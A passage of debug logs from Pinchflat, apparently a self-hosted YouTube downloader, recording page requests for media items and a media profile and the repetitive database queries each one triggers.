o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [98] 23:26:21.898 [debug] QUERY OK source="settings" db=0.2ms idle=480.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:21.898 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:21.899 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:21.899 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:26:21.900 [info] Sent 200 in 3ms 23:26:22.446 [info] GET /sources/1/media/77 23:26:22.446 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "77", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 23:26:22.447 [debug] QUERY OK source="media_items" db=0.1ms idle=548.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [77] 23:26:22.447 [debug] QUERY OK source="tasks" db=0.1ms idle=548.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [77] 23:26:22.447 [debug] QUERY OK source="sources" db=0.1ms idle=547.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:26:22.447 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=547.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [82] 23:26:22.448 [debug] QUERY OK source="settings" db=0.0ms idle=524.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:22.448 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:22.448 [debug] QUERY OK source="settings" db=0.1ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:22.448 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:26:22.449 [info] Sent 200 in 3ms 23:26:22.965 [info] GET /sources/1/media/44 23:26:22.965 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "44", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 23:26:22.965 [debug] QUERY OK source="media_items" db=0.1ms idle=517.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [44] 23:26:22.965 [debug] QUERY OK source="tasks" db=0.1ms idle=517.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [44] 23:26:22.965 [debug] QUERY OK source="sources" db=0.2ms idle=517.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:26:22.966 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=517.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [47] 23:26:22.966 [debug] QUERY OK source="settings" db=0.0ms idle=41.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:22.966 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:22.966 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:22.967 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:26:22.968 [info] Sent 200 in 2ms 23:26:23.511 [info] GET /sources/1/media/91 23:26:23.511 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "91", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 23:26:23.511 [debug] QUERY OK source="media_items" db=0.1ms idle=545.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91] 23:26:23.511 [debug] QUERY OK source="tasks" db=0.1ms idle=545.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [91] 23:26:23.512 [debug] QUERY OK source="sources" db=0.1ms idle=545.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:26:23.512 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=545.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [90] 23:26:23.512 [debug] QUERY OK source="settings" db=0.0ms idle=545.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:23.512 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:23.512 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:23.513 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:26:23.513 [info] Sent 200 in 2ms 23:26:24.048 [info] GET /sources/2/media/66 23:26:24.048 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "66", "prevent_download" => "true", "source_id" => "2"} Pipelines: [:browser] 23:26:24.049 [debug] QUERY OK source="media_items" db=0.1ms idle=536.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [66] 23:26:24.049 [debug] QUERY OK source="tasks" db=0.1ms idle=536.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [66] 23:26:24.049 [debug] QUERY OK source="sources" db=0.1ms idle=536.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 23:26:24.049 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=536.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [71] 23:26:24.049 [debug] QUERY OK source="settings" db=0.0ms idle=124.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:24.050 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:24.050 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:24.050 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:26:24.051 [info] Sent 200 in 2ms 23:26:24.564 [info] GET /sources/1/media/51 23:26:24.564 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "51", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 23:26:24.564 [debug] QUERY OK source="media_items" db=0.1ms idle=514.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [51] 23:26:24.564 [debug] QUERY OK source="tasks" db=0.1ms idle=514.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [51] 23:26:24.565 [debug] QUERY OK source="sources" db=0.2ms idle=514.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:26:24.565 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=514.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [54] 23:26:24.565 [debug] QUERY OK source="settings" db=0.0ms idle=514.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:24.565 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:24.565 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:24.566 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:26:24.566 [info] Sent 200 in 2ms 23:26:25.084 [info] GET /sources/1/media/111 23:26:25.084 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "111", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 23:26:25.084 [debug] QUERY OK source="media_items" db=0.1ms idle=519.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [111] 23:26:25.085 [debug] QUERY OK source="tasks" db=0.0ms idle=519.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [111] 23:26:25.085 [debug] QUERY OK source="sources" db=0.2ms idle=519.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:26:25.085 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=519.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [110] 23:26:25.085 [debug] QUERY OK source="settings" db=0.0ms idle=159.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:25.086 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:25.086 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:25.086 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:26:25.087 [info] Sent 200 in 3ms 23:26:25.615 [info] GET /media_profiles/1 23:26:25.615 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"delete_files" => "true", "id" => "1"} Pipelines: [:browser] 23:26:25.616 [debug] QUERY OK source="media_profiles" db=0.2ms idle=530.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:26:25.616 [debug] QUERY OK source="sources" db=0.1ms queue=0.1ms idle=530.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [1] 23:26:25.616 [debug] QUERY OK source="settings" db=0.0ms idle=530.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:25.617 [debug] QUERY OK source="settings" db=0.1ms idle=530.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:25.617 [debug] QUERY OK source="settings" db=0.1ms idle=530.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:26:25.618 [info] Sent 200 in 2ms 